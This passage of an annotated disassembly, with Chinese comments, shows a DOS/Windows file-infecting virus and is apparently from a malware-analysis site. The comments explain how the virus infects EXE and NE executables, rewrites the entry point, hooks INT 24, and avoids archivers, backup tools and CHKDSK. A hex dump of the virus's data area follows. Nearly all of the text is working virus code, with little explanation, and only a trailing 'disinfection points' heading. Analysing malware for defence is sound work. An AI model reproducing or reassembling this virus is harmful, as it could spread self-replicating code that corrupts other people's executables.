JNB 0A4D ; 0028 模块引用表偏移 F6C8:0A49 3E DS: ; 002A 引用名表偏移 F6C8:0A4A 830208 ADD WORD PTR [BP+SI],+08 F6C8:0A4D BD2200 MOV BP,0022 F6C8:0A50 46 INC SI F6C8:0A51 46 INC SI F6C8:0A52 E2F0 LOOP 0A44 F6C8:0A54 5E POP SI F6C8:0A55 BD6302 MOV BP,0263 F6C8:0A58 8B441C MOV AX,[SI+1C] ;段计数器 + 1 F6C8:0A5B 50 PUSH AX F6C8:0A5C 40 INC AX F6C8:0A5D 89441C MOV [SI+1C],AX ;入口 CS:IP 改为 F6C8:0A60 876C14 XCHG BP,[SI+14] ;新段地址:0263 F6C8:0A63 874416 XCHG AX,[SI+16] F6C8:0A66 892E850E MOV [0E85],BP ;保存原 CS:IP 于 0E83 F6C8:0A6A A3830E MOV [0E83],AX F6C8:0A6D 58 POP AX F6C8:0A6E BD0800 MOV BP,0008 ;段地址表长度 F6C8:0A71 F7E5 MUL BP F6C8:0A73 034422 ADD AX,[SI+22] ;加上段地址表偏移 F6C8:0A76 13D1 ADC DX,CX ;以下将整个 NE 文件头 F6C8:0A78 2D4000 SUB AX,0040 ;以及段地址表前移 8 字节 F6C8:0A7B 1BD1 SBB DX,CX ;以便插入一个新的段地址表项 F6C8:0A7D BD0002 MOV BP,0200 F6C8:0A80 F7F5 DIV BP F6C8:0A82 95 XCHG AX,BP ;先移动余数 F6C8:0A83 B43F MOV AH,3F F6C8:0A85 8BCA MOV CX,DX F6C8:0A87 BA4F0F MOV DX,0F4F F6C8:0A8A E81202 CALL 0C9F F6C8:0A8D 7246 JB 0AD5 F6C8:0A8F 51 PUSH CX F6C8:0A90 C4553C LES DX,[DI+3C] F6C8:0A93 8CC1 MOV CX,ES F6C8:0A95 E81C02 CALL 0CB4 F6C8:0A98 59 POP CX F6C8:0A99 B440 MOV AH,40 F6C8:0A9B 83C140 ADD CX,+40 F6C8:0A9E BA0F0F MOV DX,0F0F F6C8:0AA1 E8FB01 CALL 0C9F F6C8:0AA4 722F JB 0AD5 F6C8:0AA6 83ED01 SUB BP,+01 ;再一次移动 200H 字节 F6C8:0AA9 722D JB 0AD8 F6C8:0AAB 33C9 XOR CX,CX F6C8:0AAD BA0800 MOV DX,0008 F6C8:0AB0 E80402 CALL 0CB7 F6C8:0AB3 B43F MOV AH,3F F6C8:0AB5 B502 MOV CH,02 F6C8:0AB7 BA4F0F MOV DX,0F4F F6C8:0ABA E8E201 CALL 0C9F F6C8:0ABD 7216 JB 0AD5 F6C8:0ABF B9FFFF MOV CX,FFFF F6C8:0AC2 BAF8FD MOV DX,FDF8 F6C8:0AC5 E8EF01 CALL 0CB7 F6C8:0AC8 B440 MOV AH,40 F6C8:0ACA B90002 MOV CX,0200 F6C8:0ACD BA4F0F MOV DX,0F4F F6C8:0AD0 E8CC01 CALL 0C9F F6C8:0AD3 73D1 JNB 0AA6 F6C8:0AD5 E91FFF JMP 09F7 F6C8:0AD8 B440 MOV AH,40 ;写入新的段地址表项 F6C8:0ADA B90800 MOV CX,0008 ;(病毒的段地址表项) F6C8:0ADD BA750E MOV DX,0E75 F6C8:0AE0 E8BC01 CALL 0C9F F6C8:0AE3 72F0 JB 0AD5 F6C8:0AE5 A32C03 MOV [032C],AX ;032E:032C = FFFF:0000 F6C8:0AE8 892E2E03 MOV [032E],BP F6C8:0AEC 40 INC AX F6C8:0AED A37D0E MOV [0E7D],AX ;AX = 0001 F6C8:0AF0 C7067F0E0304 MOV WORD PTR [0E7F],0403 F6C8:0AF6 C706810E2C03 MOV WORD PTR [0E81],032C F6C8:0AFC E98500 JMP 0B84 ;=================================================================== ;传染 DOS .EXE 文件 F6C8:0AFF E89F00 CALL 0BA1 ;文件长/200H F6C8:0B02 2B4504 SUB AX,[DI+04] F6C8:0B05 75CE JNZ 0AD5 F6C8:0B07 2B5502 SUB DX,[DI+02] F6C8:0B0A 75C9 JNZ 0AD5 ;有覆盖部分不传染 F6C8:0B0C 837D0CFF CMP WORD PTR [DI+0C],-01 F6C8:0B10 75C3 JNZ 0AD5 ;最大要求内存不为-1不传染 F6C8:0B12 3B451A CMP AX,[DI+1A] ;覆盖号不为 0 (主程序) 不传染 F6C8:0B15 75BE JNZ 0AD5 F6C8:0B17 E89301 CALL 0CAD ;DOS 4202 功能 F6C8:0B1A BE1000 MOV SI,0010 ;文件长 > 640K 不传染 F6C8:0B1D 3BD6 CMP DX,SI F6C8:0B1F 73B4 JNB 0AD5 F6C8:0B21 F7F6 DIV SI F6C8:0B23 2B4508 SUB AX,[DI+08] ;减去文件头大小 F6C8:0B26 50 PUSH AX F6C8:0B27 52 PUSH DX F6C8:0B28 875514 XCHG DX,[DI+14] ;设置新的 CS:IP F6C8:0B2B 874516 XCHG AX,[DI+16] ;到文件尾 (病毒开始处) F6C8:0B2E 52 PUSH DX F6C8:0B2F 034508 ADD AX,[DI+08] F6C8:0B32 F7EE IMUL SI F6C8:0B34 5E POP SI F6C8:0B35 2D0200 SUB AX,0002 F6C8:0B38 1BD1 SBB DX,CX F6C8:0B3A 03C6 ADD AX,SI ;移动文件指针到 F6C8:0B3C 13CA ADC CX,DX ;开始执行前 2 字节 F6C8:0B3E 92 XCHG AX,DX F6C8:0B3F E87201 CALL 0CB4 ;DOS 4200 F6C8:0B42 B43F MOV AH,3F ;读出 2 字节 F6C8:0B44 B90200 MOV CX,0002 F6C8:0B47 BA4F11 MOV DX,114F F6C8:0B4A E85201 CALL 0C9F F6C8:0B4D 5A POP DX F6C8:0B4E 58 POP AX F6C8:0B4F 724D JB 0B9E F6C8:0B51 813E4F115242 CMP WORD PTR [114F],4252 F6C8:0B57 7445 JZ 0B9E ;这 2 字节是 4252 不传染 F6C8:0B59 81C2C710 ADD DX,10C7 ;????? F6C8:0B5D 48 DEC AX F6C8:0B5E 7409 JZ 0B69 F6C8:0B60 83C210 ADD DX,+10 F6C8:0B63 83FA80 CMP DX,-80 F6C8:0B66 72F5 JB 0B5D F6C8:0B68 48 DEC AX F6C8:0B69 40 INC AX F6C8:0B6A 80E2FE AND DL,FE F6C8:0B6D 895510 MOV [DI+10],DX F6C8:0B70 89450E MOV [DI+0E],AX F6C8:0B73 E83701 CALL 0CAD ;DOS 4202 功能 F6C8:0B76 05C70E ADD AX,0EC7 ;新的文件长 F6C8:0B79 13D1 ADC DX,CX F6C8:0B7B E82300 CALL 0BA1 F6C8:0B7E 894504 MOV [DI+04],AX ;设置新的文件长 F6C8:0B81 895502 MOV [DI+02],DX F6C8:0B84 E80901 CALL 0C90 ;写文件头 40H 字节 F6C8:0B87 7215 JB 0B9E F6C8:0B89 E82101 CALL 0CAD ;DOS 4202 功能 F6C8:0B8C B440 MOV AH,40 F6C8:0B8E B9C70E MOV CX,0EC7 ;写病毒 0EC7 字节 F6C8:0B91 99 CWD F6C8:0B92 E80A01 CALL 0C9F F6C8:0B95 7207 JB 0B9E F6C8:0B97 E83B01 CALL 0CD5 ;取文件句柄表地址 F6C8:0B9A 804510C8 ADD BYTE PTR [DI+10],C8 ;设置传染标记 F6C8:0B9E E956FE JMP 09F7 ;文件日期加上 200 年 ;====================================================================== F6C8:0BA1 B90002 MOV CX,0200 F6C8:0BA4 F7F1 DIV CX F6C8:0BA6 0BD2 OR DX,DX F6C8:0BA8 7401 JZ 0BAB F6C8:0BAA 40 INC AX F6C8:0BAB C3 RET ;====================================================================== F6C8:0BAC 40 INC AX F6C8:0BAD 3D4E5A CMP AX,5A4E F6C8:0BB0 7403 JZ 0BB5 F6C8:0BB2 3D5B4D CMP AX,4D5B F6C8:0BB5 C3 RET ;======================================================================= ;设置新的 INT 24 中断向量到 CS:0BEB F6C8:0BB6 50 PUSH AX F6C8:0BB7 53 PUSH BX F6C8:0BB8 52 PUSH DX F6C8:0BB9 1E PUSH DS F6C8:0BBA 06 PUSH ES F6C8:0BBB 0E PUSH CS F6C8:0BBC 1F POP DS F6C8:0BBD B82435 MOV AX,3524 F6C8:0BC0 E83701 CALL 0CFA F6C8:0BC3 891E7311 MOV [1173],BX F6C8:0BC7 8C067511 MOV [1175],ES F6C8:0BCB B425 MOV AH,25 F6C8:0BCD BAEB0B MOV DX,0BEB F6C8:0BD0 E82701 CALL 0CFA F6C8:0BD3 07 POP ES F6C8:0BD4 1F POP DS F6C8:0BD5 5A POP DX F6C8:0BD6 5B POP BX F6C8:0BD7 58 POP AX F6C8:0BD8 C3 RET ;========================================================================== ;恢复原 INT 24 中断向量 F6C8:0BD9 50 PUSH AX F6C8:0BDA 52 PUSH DX F6C8:0BDB 1E PUSH DS F6C8:0BDC B82425 MOV AX,2524 F6C8:0BDF 2E CS: F6C8:0BE0 C5167311 LDS DX,[1173] F6C8:0BE4 E81301 CALL 0CFA F6C8:0BE7 1F POP DS F6C8:0BE8 5A POP DX F6C8:0BE9 58 POP AX F6C8:0BEA C3 RET ;========================================================================== ;新的 INT 24 中断程序, 出错时返回失败 (Fail) F6C8:0BEB B003 MOV AL,03 F6C8:0BED CF IRET ;========================================================================== F6C8:0BEE 832E030F08 SUB WORD PTR [0F03],+08 F6C8:0BF3 831E050F00 SBB WORD PTR [0F05],+00 F6C8:0BF8 E83300 CALL 0C2E F6C8:0BFB 7230 JB 0C2D F6C8:0BFD B108 MOV CL,08 F6C8:0BFF 882C MOV [SI],CH F6C8:0C01 46 INC SI F6C8:0C02 E2FB LOOP 0BFF F6C8:0C04 FF4C1C DEC WORD PTR [SI+1C] F6C8:0C07 A1C50E MOV AX,[0EC5] F6C8:0C0A 894414 MOV [SI+14],AX F6C8:0C0D A1C30E MOV AX,[0EC3] F6C8:0C10 894416 MOV [SI+16],AX F6C8:0C13 8B4422 MOV AX,[SI+22] F6C8:0C16 B105 MOV CL,05 F6C8:0C18 56 PUSH SI F6C8:0C19 BD0400 MOV BP,0004 F6C8:0C1C 3E DS: F6C8:0C1D 3B02 CMP AX,[BP+SI] F6C8:0C1F 7304 JNB 0C25 F6C8:0C21 3E DS: F6C8:0C22 832A08 SUB WORD PTR [BP+SI],+08 F6C8:0C25 BD2200 MOV BP,0022 F6C8:0C28 46 INC SI F6C8:0C29 46 INC SI F6C8:0C2A E2F0 LOOP 0C1C F6C8:0C2C 5E POP SI F6C8:0C2D C3 RET ;======================================================================= ;检测是否 WINDOWS 可执行程序或新格式可执行程序 F6C8:0C2E 833EDF0E40 CMP WORD PTR [0EDF],+40 F6C8:0C33 7225 JB 0C5A ;重定位表地址 < 40 F6C8:0C35 C416030F LES DX,[0F03] ;不是 WINDOWS 文件 F6C8:0C39 8CC1 MOV CX,ES F6C8:0C3B 83EA08 SUB DX,+08 ;移动到 NE 文件头 - 8 处 F6C8:0C3E 83D900 SBB CX,+00 ; F6C8:0C41 E87000 CALL 0CB4 ;DOS 4200功能 F6C8:0C44 B43F MOV AH,3F F6C8:0C46 B94800 MOV CX,0048 ;读出 48H 字节 F6C8:0C49 BA070F MOV DX,0F07 ;NE 文件头在 0F0F 处 F6C8:0C4C 8BF2 MOV SI,DX F6C8:0C4E E84E00 CALL 0C9F F6C8:0C51 7207 JB 0C5A F6C8:0C53 817C084E45 CMP WORD PTR [SI+08],454E F6C8:0C58 7401 JZ 0C5B ;不是 "NE" 设置 CY F6C8:0C5A F9 STC F6C8:0C5B C3 RET ;========================================================================== F6C8:0C5C 53 PUSH BX F6C8:0C5D 51 PUSH CX F6C8:0C5E 52 PUSH DX F6C8:0C5F 56 PUSH SI F6C8:0C60 57 PUSH DI F6C8:0C61 55 PUSH BP F6C8:0C62 1E PUSH DS F6C8:0C63 06 PUSH ES F6C8:0C64 B98B28 MOV CX,288B F6C8:0C67 BA75D5 MOV DX,D575 F6C8:0C6A B80010 MOV AX,1000 F6C8:0C6D 8ED8 MOV DS,AX F6C8:0C6F B43F MOV AH,3F F6C8:0C71 E81701 CALL 0D8B F6C8:0C74 720E JB 0C84 F6C8:0C76 0E PUSH CS F6C8:0C77 1F POP DS F6C8:0C78 01066F07 ADD [076F],AX F6C8:0C7C 0106680C ADD [0C68],AX F6C8:0C80 2906650C SUB [0C65],AX F6C8:0C84 07 POP ES F6C8:0C85 1F POP DS F6C8:0C86 5D POP BP F6C8:0C87 5F POP DI F6C8:0C88 5E POP SI F6C8:0C89 5A POP DX F6C8:0C8A 59 POP CX F6C8:0C8B 5B POP BX F6C8:0C8C C3 RET ;========================================================================= F6C8:0C8D B43F MOV AH,3F F6C8:0C8F 3DB440 CMP AX,40B4 F6C8:0C92 50 PUSH AX F6C8:0C93 E81100 CALL 0CA7 F6C8:0C96 58 POP AX F6C8:0C97 B94000 MOV CX,0040 F6C8:0C9A BAC70E MOV DX,0EC7 F6C8:0C9D 0E PUSH CS F6C8:0C9E 1F POP DS F6C8:0C9F E85800 CALL 0CFA F6C8:0CA2 7202 JB 0CA6 F6C8:0CA4 2BC1 SUB AX,CX F6C8:0CA6 C3 RET ;========================================================================= F6C8:0CA7 B000 MOV AL,00 F6C8:0CA9 3DB001 CMP AX,01B0 F6C8:0CAC 3DB002 CMP AX,02B0 F6C8:0CAF 33C9 XOR CX,CX F6C8:0CB1 33D2 XOR DX,DX F6C8:0CB3 3DB000 CMP AX,00B0 F6C8:0CB6 3DB001 CMP AX,01B0 F6C8:0CB9 3DB002 CMP AX,02B0 F6C8:0CBC B442 MOV AH,42 F6C8:0CBE EB3A JMP 0CFA F6C8:0CC0 B9FFFF MOV CX,FFFF F6C8:0CC3 BABCFF MOV DX,FFBC F6C8:0CC6 E8F1FF CALL 0CBA F6C8:0CC9 B43F MOV AH,3F F6C8:0CCB B94400 MOV CX,0044 F6C8:0CCE BAC30E MOV DX,0EC3 F6C8:0CD1 0E PUSH CS F6C8:0CD2 1F POP DS F6C8:0CD3 EBCA JMP 0C9F F6C8:0CD5 50 PUSH AX F6C8:0CD6 53 PUSH BX F6C8:0CD7 B82012 MOV AX,1220 F6C8:0CDA E8E300 CALL 0DC0 F6C8:0CDD 33DB XOR BX,BX F6C8:0CDF 26 ES: F6C8:0CE0 8A1D MOV BL,[DI] F6C8:0CE2 B81612 MOV AX,1216 F6C8:0CE5 E8D800 CALL 0DC0 F6C8:0CE8 720D JB 0CF7 F6C8:0CEA 06 PUSH ES F6C8:0CEB 1F POP DS F6C8:0CEC F6450580 TEST BYTE PTR [DI+05],80 F6C8:0CF0 F5 CMC F6C8:0CF1 7504 JNZ 0CF7 F6C8:0CF3 F64510C0 TEST BYTE PTR [DI+10],C0 F6C8:0CF7 5B POP BX F6C8:0CF8 58 POP AX F6C8:0CF9 C3 RET ;========================================================================= F6C8:0CFA E84D00 CALL 0D4A F6C8:0CFD E88B00 CALL 0D8B F6C8:0D00 E85E00 CALL 0D61 F6C8:0D03 2E CS: F6C8:0D04 FF366911 PUSH WORD PTR [1169] F6C8:0D08 2E CS: F6C8:0D09 FF366D11 PUSH WORD PTR [116D] F6C8:0D0D 2E CS: F6C8:0D0E FF366F11 PUSH WORD PTR [116F] F6C8:0D12 2E CS: F6C8:0D13 8C1E6D11 MOV [116D],DS F6C8:0D17 0E PUSH CS F6C8:0D18 1F POP DS F6C8:0D19 893E6911 MOV [1169],DI F6C8:0D1D 8C066F11 MOV [116F],ES F6C8:0D21 BF5F11 MOV DI,115F F6C8:0D24 0E PUSH CS F6C8:0D25 07 POP ES F6C8:0D26 FF35 PUSH WORD PTR [DI] F6C8:0D28 9C PUSHF F6C8:0D29 AB STOSW F6C8:0D2A 8B05 MOV AX,[DI] F6C8:0D2C 93 XCHG AX,BX F6C8:0D2D AB STOSW F6C8:0D2E 8B05 MOV AX,[DI] F6C8:0D30 91 XCHG AX,CX F6C8:0D31 AB STOSW F6C8:0D32 8B05 MOV AX,[DI] F6C8:0D34 92 XCHG AX,DX F6C8:0D35 AB STOSW F6C8:0D36 8B05 MOV AX,[DI] F6C8:0D38 96 XCHG AX,SI F6C8:0D39 AB STOSW F6C8:0D3A AF SCASW F6C8:0D3B 8B05 MOV AX,[DI] F6C8:0D3D 95 XCHG AX,BP F6C8:0D3E AB STOSW F6C8:0D3F 58 POP AX F6C8:0D40 874504 XCHG AX,[DI+04] F6C8:0D43 50 PUSH AX F6C8:0D44 9D POPF F6C8:0D45 58 POP AX F6C8:0D46 07 POP ES F6C8:0D47 1F POP DS F6C8:0D48 5F POP DI F6C8:0D49 C3 RET ;========================================================================== F6C8:0D4A 9C PUSHF F6C8:0D4B 50 PUSH AX F6C8:0D4C 53 PUSH BX F6C8:0D4D 51 PUSH CX F6C8:0D4E 52 PUSH DX F6C8:0D4F 56 PUSH SI F6C8:0D50 57 PUSH DI F6C8:0D51 55 PUSH BP F6C8:0D52 1E PUSH DS F6C8:0D53 06 PUSH ES F6C8:0D54 E8ACFF CALL 0D03 F6C8:0D57 07 POP ES F6C8:0D58 1F POP DS F6C8:0D59 5D POP BP F6C8:0D5A 5F POP DI F6C8:0D5B 5E POP SI F6C8:0D5C 5A POP DX F6C8:0D5D 59 POP CX F6C8:0D5E 5B POP BX F6C8:0D5F 58 POP AX F6C8:0D60 9D POPF F6C8:0D61 50 PUSH AX F6C8:0D62 53 PUSH BX F6C8:0D63 51 PUSH CX F6C8:0D64 56 PUSH SI F6C8:0D65 1E PUSH DS F6C8:0D66 B81812 MOV AX,1218 F6C8:0D69 E85400 CALL 0DC0 F6C8:0D6C BF5F11 MOV DI,115F F6C8:0D6F B90900 MOV CX,0009 F6C8:0D72 AD LODSW F6C8:0D73 2E CS: F6C8:0D74 8705 XCHG AX,[DI] F6C8:0D76 AF SCASW F6C8:0D77 8944FE MOV [SI-02],AX F6C8:0D7A E2F6 LOOP 0D72 F6C8:0D7C 8B4404 MOV AX,[SI+04] F6C8:0D7F 2E CS: F6C8:0D80 8705 XCHG AX,[DI] F6C8:0D82 894404 MOV [SI+04],AX F6C8:0D85 1F POP DS F6C8:0D86 5E POP SI F6C8:0D87 59 POP CX F6C8:0D88 5B POP BX F6C8:0D89 58 POP AX F6C8:0D8A C3 RET ;================================================================== ;病毒自己执行 INT 21 功能 F6C8:0D8B 50 PUSH AX F6C8:0D8C 53 PUSH BX F6C8:0D8D 1E PUSH DS F6C8:0D8E 2E CS: F6C8:0D8F C51E5711 LDS BX,[1157] F6C8:0D93 8AC4 MOV AL,AH F6C8:0D95 98 CBW F6C8:0D96 D1E0 SHL AX,1 F6C8:0D98 2E CS: F6C8:0D99 03065111 ADD AX,[1151] F6C8:0D9D 93 XCHG AX,BX F6C8:0D9E 8B07 MOV AX,[BX] F6C8:0DA0 2E CS: F6C8:0DA1 A35511 MOV [1155],AX F6C8:0DA4 2E CS: F6C8:0DA5 832E571105 SUB WORD PTR [1157],+05 F6C8:0DAA 1F POP DS F6C8:0DAB 5B POP BX F6C8:0DAC 58 POP AX F6C8:0DAD 685344 PUSH 4453 F6C8:0DB0 2E CS: F6C8:0DB1 FF365711 PUSH WORD PTR [1157] F6C8:0DB5 2E CS: F6C8:0DB6 FF365911 PUSH WORD PTR [1159] F6C8:0DBA 2E CS: F6C8:0DBB FF365511 PUSH WORD PTR [1155] F6C8:0DBF CB RETF F6C8:0DC0 3C12 CMP AL,12 F6C8:0DC2 9C PUSHF F6C8:0DC3 FA CLI F6C8:0DC4 0E PUSH CS F6C8:0DC5 E80100 CALL 0DC9 F6C8:0DC8 C3 RET F6C8:0DC9 2E CS: F6C8:0DCA FF365911 PUSH WORD PTR [1159] F6C8:0DCE 2E CS: F6C8:0DCF FF365D11 PUSH WORD PTR [115D] F6C8:0DD3 CB RETF F6C8:0DD4 CD2F INT 2F (Multiplex) F6C8:0DD6 C3 RET ;===================================================================== ;比较当前执行文件名是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP F6C8:0DD7 56 PUSH SI F6C8:0DD8 BE1C0E MOV SI,0E1C F6C8:0DDB E80B00 CALL 0DE9 F6C8:0DDE 5E POP SI F6C8:0DDF C3 RET ;===================================================================== ;比较当前执行文件名是否为 CHKDSK F6C8:0DE0 56 PUSH SI F6C8:0DE1 BE450E MOV SI,0E45 F6C8:0DE4 E80200 CALL 0DE9 F6C8:0DE7 5E POP SI F6C8:0DE8 C3 RET ;======================================================================= ;比较当前执行文件名 ;是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP ;是, 返回 ZR F6C8:0DE9 60 PUSHA F6C8:0DEA 1E PUSH DS F6C8:0DEB 06 PUSH ES F6C8:0DEC 0E PUSH CS F6C8:0DED 1F POP DS F6C8:0DEE B451 MOV AH,51 ;得到当前进程 PSP F6C8:0DF0 CD21 INT 21 F6C8:0DF2 4B DEC BX F6C8:0DF3 8EC3 MOV ES,BX F6C8:0DF5 33DB XOR BX,BX F6C8:0DF7 26 ES: F6C8:0DF8 817F084C4C CMP WORD PTR [BX+08],4C4C F6C8:0DFD 7506 JNZ 0E05 ;"LL" F6C8:0DFF 26 ES: F6C8:0E00 385F0B CMP [BX+0B],BL F6C8:0E03 7413 JZ 0E18 F6C8:0E05 AC LODSB F6C8:0E06 3C01 CMP AL,01 ;比较字符数 F6C8:0E08 720E JB 0E18 F6C8:0E0A 98 CBW F6C8:0E0B 8BC8 MOV CX,AX F6C8:0E0D 03C6 ADD AX,SI F6C8:0E0F 50 PUSH AX F6C8:0E10 BF0800 MOV DI,0008 F6C8:0E13 F3 REPZ F6C8:0E14 A6 CMPSB F6C8:0E15 5E POP SI F6C8:0E16 75ED JNZ 0E05 F6C8:0E18 07 POP ES F6C8:0E19 1F POP DS F6C8:0E1A 61 POPA F6C8:0E1B C3 RET F6C8:0E10 BF 08 00 F3 A6 5E 75 ED-07 1F 61 C3 05 50 4B 5A .....^u...a..PKZ F6C8:0E20 49 50 03 41 52 4A 03 52-41 52 03 4C 48 41 05 54 IP.ARJ.RAR.LHA.T F6C8:0E30 45 4C 49 58 06 42 41 43-4B 55 50 08 4D 53 42 41 ELIX.BACKUP.MSBA F6C8:0E40 43 4B 55 50 00 06 43 48-4B 44 53 4B 00 50 00 01 CKUP..CHKDSK.P.. F6C8:0E50 02 50 00 02 02 50 00 03-02 50 00 04 02 50 00 05 .P...P...P...P.. F6C8:0E60 02 50 00 06 02 50 00 07-02 50 00 08 02 50 00 09 .P...P...P...P.. F6C8:0E70 02 50 00 0A 02 13 1C 7D-0E 80 01 7D 0E 01 00 03 .P.....}...}.... F6C8:0E80 04 2C 03 01 00 99 02 46-36 43 38 3A 30 30 30 30 .,.....F6C8:0000 F6C8:0E90 20 30 45 20 20 20 20 20-20 20 20 20 20 20 20 50 0E P F6C8:0EA0 55 53 48 20 20 20 20 43-53 0D 0A 46 36 43 38 3A USH CS..F6C8: F6C8:0EB0 30 30 30 31 20 31 46 20-20 20 20 20 20 20 20 20 0001 1F F6C8:0EC0 20 20 20 01 00 99 02 E9-6D 15 66 88 15 00 00 C7 .....m.f..... F6C8:0ED0 0F 00 00 85 0E 00 00 95-12 00 00 00 00 00 00 00 ................ F6C8:0EE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0EF0 00 00 00 00 00 00 00 00-00 00 00 00 E8 64 00 1E .............d.. F6C8:0F00 0E 2E FF 26 04 01 FB 00-00 00 00 00 00 00 00 00 ...&............ F6C8:0F10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0F20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0F30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0F40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0F50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0F60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0F70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0F80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0F90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0FA0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0FB0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0FC0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0FD0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0FE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ F6C8:0FF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
杀毒要点:[出自:jiwo.org] |